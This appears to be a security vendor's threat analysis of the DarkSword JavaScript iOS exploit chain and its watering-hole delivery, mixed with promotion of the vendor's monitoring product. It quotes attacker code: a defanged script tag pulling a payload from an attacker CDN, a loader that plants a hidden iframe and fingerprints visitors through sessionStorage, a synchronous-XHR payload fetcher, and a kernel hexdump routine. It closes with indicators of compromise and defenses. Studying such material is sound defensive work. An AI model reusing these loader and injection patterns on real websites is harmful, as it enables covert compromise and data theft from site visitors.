DarkSword: pure JavaScript exploit chain weaponizes legitimate websites

TL;DR: pure-JavaScript iOS 18.4 to 18.7 chain with sessionStorage-gated 1x1 iframe delivery

• Stays pure JavaScript: Everyone patches iOS 26.3 and calls it done, but DarkSword stayed entirely in JavaScript specifically so PPL and SPTM never see a binary, and any legitimate site injecting a single script tag becomes UNC6353's watering hole.
• Signals cside watches: cside monitors the client-side execution layer for exactly the signals DarkSword uses: unexpected external script tags, hidden 1x1 iframes, sessionStorage fingerprint writes, and synchronous XHR that pulls obfuscated JavaScript, none of which a WAF or endpoint tool will flag from the perimeter.
• Patching is not enough: If the delivery vehicle is a compromised legitimate website rather than a phishing lure, patching endpoints closes one door and leaves the front page open, so the decision is whether client-side monitoring sits alongside CSP and SRI or after the first GHOSTBLADE WiFi-credential dump.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

DarkSword is a new step in iOS exploitation. Active since at least November 2025, this full-chain exploit links multiple vulnerabilities - several of them zero-days - to fully compromise iOS devices. The suspected Russian espionage group UNC6353 distributes it through watering hole attacks by injecting malicious script tags into legitimate, compromised websites. The central concern is delivery: a website's client-side environment becomes a vector for a nation-state exploit targeting visitors.

How the DarkSword exploit chain works

Earlier iOS exploit kits relied on binary components. DarkSword takes a different approach: the entire chain is written in JavaScript. By staying in JavaScript for every stage, the attackers avoid binary mitigations such as Apple's Page Protection Layer (PPL) and Secure Page Table Monitor (SPTM). The chain targets iOS versions in the 18.4-18.7 range and operates through several stages that escalate from an in-browser memory corruption to full kernel privilege.

Exploit stages

After achieving full compromise, the exploit drops one of three JavaScript-based malware families: GHOSTBLADE, GHOSTKNIFE, or GHOSTSABER. These act as dataminers and backdoors, exfiltrating iMessages, cryptocurrency wallet data, location history, and saved WiFi passwords.

Example debugging code

Debugging code and comments left in the payloads show the authors' intent. GHOSTBLADE includes functions to hexdump kernel memory and specifically targets WiFi credentials:

const TAG = "DarkSword-WIFI-DUMP";

function kdump(where, size, msg = "") {
 LOG(`[+] ----------- ${msg} ----------`);
 for (let i = 0n; i < size; i += 0x10n) {
 LOG(`[+] [${i.hex()}] ${(where + i).hex()}:	${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
 }
}

How DarkSword uses watering hole attacks to infect iOS devices

UNC6353 compromises legitimate websites and turns them into watering holes. When a target visits one of these sites, the attack runs silently in the background without user interaction. The attack typically starts with a single injected tag that appears benign in HTML but then loads attacker-controlled JavaScript from a third-party CDN.

Example (displayed escaped to avoid embedding an actual script tag):

<script async src="hxxps://static[.]cdncounter[.]net/widgets[.]js?uhfiu27fajf2948fjfefaa42"></script>

From there the attack continues through client-side operations. The loader can create hidden 1x1 pixel iframes, use sessionStorage to track and fingerprint victims, and fetch additional obfuscated payloads via synchronous XHRs. Because all actions use standard web APIs, they blend into normal browser activity unless the client-side environment is monitored.

if (!sessionStorage.getItem("uid") && isTouchScreen) {
 sessionStorage.setItem("uid", '1');
 const frame = document.createElement("iframe");
 frame.src = "frame.html?" + Math.random();
 frame.style.height = 0;
 frame.style.width = 0;
 frame.style.border = "none";
 document.body.appendChild(frame);
} else {
 top.location.href = "red";
}

function getJS(fname,method = 'GET') {
 try {
 url = fname;
 print(`trying to fetch ${method} from: ${url}`);
 let xhr = new XMLHttpRequest();
 xhr.open("GET", `${url}` , false);
 xhr.send(null);
 return xhr.responseText;
 } catch(e) {
 print("got error in getJS: " + e);
 }
}

Why traditional security defenses miss DarkSword

DarkSword exposes a blind spot in most security setups. Perimeter defenses, WAFs, and many endpoint detection tools don't see activity inside the browser. The compromised website delivers what appears to be a normal client-side resource while the actual exploit loads from a third-party domain. Defending against these attacks requires visibility into client-side execution and the ability to detect anomalous browser behavior.

Indicators of compromise

• Unexpected script tags loading from unknown or suspicious domains;
• Hidden iframes with 1x1 pixel dimensions, near-zero opacity, or off-screen placement;
• Unusual sessionStorage or localStorage modifications by unauthorized scripts;
• XHR or Fetch requests retrieving additional obfuscated JavaScript payloads.

How to defend against DarkSword and watering hole attacks

Apple patched the DarkSword vulnerabilities in iOS 26.3, and users should update immediately. But patching endpoints only addresses one layer. As long as attackers can compromise legitimate websites and use them as delivery vehicles, watering hole attacks will continue. Website operators should harden supply chains, monitor for unauthorized injections, and use client-side monitoring to detect malicious script execution before it drops payloads like DarkSword.